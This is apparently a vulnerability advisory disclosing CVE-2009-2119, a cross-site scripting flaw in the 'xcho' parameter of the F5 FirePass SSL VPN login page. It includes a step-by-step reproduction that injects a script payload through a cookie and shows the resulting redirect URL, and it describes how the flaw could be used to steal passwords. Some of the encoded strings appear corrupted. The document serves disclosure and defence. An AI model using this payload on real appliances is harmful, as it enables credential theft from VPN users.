

F5 FirePass 'xcho' Cross-Site Scripting vulnerability

CVE reference: CVE-2009-2119

Vulnerability discovered: May 01, 2009

Discovered by: Sjoerd Resink, Fox-IT BV (<https://www.fox-it.com>)

Reported to vendor: May 14, 2009

Fix available: May 28, 2009

Product

F5 Networks FirePass SSL VPN controller provides secure access to corporate applications and data using a standard web browser. More information can be found at:

<http://www.f5.com/products/firepass/>

Vulnerability

The 'my.logon.php3' script of the F5 Networks FirePass SSL VPN controller is vulnerable to Cross-Site Scripting (XSS). The vulnerability specifically resides in the 'xcho' parameter. No authentication is required to exploit this vulnerability.

Details

When visiting a vulnerable F5 FirePass appliance at:

```
https://vulnerable_firepass/vdesk/
```

your web browser will be redirected to a location such as the following:

```
https://vulnerable_firepass/my.logon.php3?logout=1&xcho=bT1XVzkxY2lCelpYTnphVz11SUdoaGN5Qmx1SEJwY2lWa0xqd2hMUzBnYzJsa1BURXlNelExTmpjNE9UQXhNak0wT1RZM09Ea3dNVEl6TkRVMk56ZzVNREV5TENCamIyOXJhV1U5T3lCTlVraFRaWE56YVc5dVBURXlNelExTmpjNE9UQXhNak0wT1RZM09Ea3dNVEl6TkRVMk56ZzVNREV5T3lCVlNF0VRWRDF6ZEdGdVpHRnlARHnNZFZkd1lXMVVaWE4wUTI5dmEybgxQVlJGVVFRN0lGV1NTVVG9nTDNaalpYTnJMeTB0UGc9PSZzPTEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEy
```

Within the source of this page you may notice a line such as:

```
Your session has expired.<!-- sid=12345678901234567890123456789012, cookie=; MRHSession=12345678901234567890123456789012; VHOST=standard; uRoamTestCookie=TEST; URI:/vdesk/-->
```

As it turns out, this line is actually a decoded version of the parameter 'xcho'. This decoded version is returned in the 'my.logon.php3' page without sufficient validation.

The parameter 'xcho' is a base64 encoded string. The decoded value looks like:

```
m=WW91ciBzZXNzaW9uIGhncyBleHBpcmVkJjwhLS0gc2lkPTEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyLCBjb29raWU9OyBNUkhTZXNzaW9uPTEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyOyBwSE9TVdldGFuZGFyZDsgdVJvYWlUZXM0Q29va2l1PVRFU1Q7IFVSSVogL3ZkZXNrLy0tPg==&s=12345678901234567890123456789012
```

Parameter 's' must be a valid ID which proved to be based on 'm' and a host based factor. However, we currently do not know the exact details of how this value is calculated. Parameter 'm' again is a base64 encoded value. After decoding 'm', this value looks like:

```
Your session has expired.<!-- sid=12345678901234567890123456789012, cookie=; MRHSession=12345678901234567890123456789012; VHOST=standard; uRoamTestCookie=TEST; URI:/vdesk/-->
```

Obviously, this is the same string as displayed in the 'my.logon.php3' page.

Exploitation

As the parameter 's' must have the correct value for a payload (contained in 'm') to be returned to the browser, we use the vulnerable FirePass appliance to calculate the correct value of 's' for us.

To reproduce this issue, visit a vulnerable F5 FirePass appliance and change the value of the cookie 'uRoamTestCookie' or add a custom-made cookie with the following value (or name):

```
--><script>alert(String.fromCharCode(88,83,83))</script>
```

Next, point your browser to:

```
https://vulnerable_firepass/vdesk/
```

Your web browser will be redirected to a location such as the following and a JavaScript alert box appears:

```
https://vulnerable_firepass/my.logon.php3?logout=1&xcho=bTlXVzkxY2lCelpYTnphVz1lSUdoaGN5Qmx1SEJwY2lWa0xqd2hMUzBnYzJsa1BURXlNelExTmpjNE9UQXhNak0wTlRZM09Ea3dNVEl6TkRVMk56ZzVNREV5TENCamiyOXJhV1U5T3lCV1NFOVRWRDF6ZEdGdVpHRnlaRHnZfZkd1lXMVVAWE4wUTI5dmEybGxQUzB0UGp4elkzSnBjSFETWVd4bGNuUW9VM1J5YVc1bkxtWnlimjFEYUdGeVEyOWtaU2c0T0N3NE15dzRNeWtwUEM5elkzSnBjSFETt3lCTlVraFRaWE56YVc5dVBURXlNelExTmpjNE9UQXhNak0wTlRZM09Ea3dNVEl6TkRVMk56ZzVNREV5T3lCV1VrazZJQzkyWkdWemF5OHRMVDQ9JnM9MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=
```

A malicious user may use this URL for exploitation. This vulnerability can be used to execute arbitrary JavaScript code on the computer of a user as if it genuinely originated from the target domain. In order to do this, an attacker would have to lure the user into visiting the specially prepared URL. Pages can be modified in such a way that any data entered into password fields will not only be sent to the F5 FirePass appliance, but also to the attacker. More advanced exploits of XSS also enable attackers to abuse the user's computer as a stepping stone for launching further attacks on the user's internal network.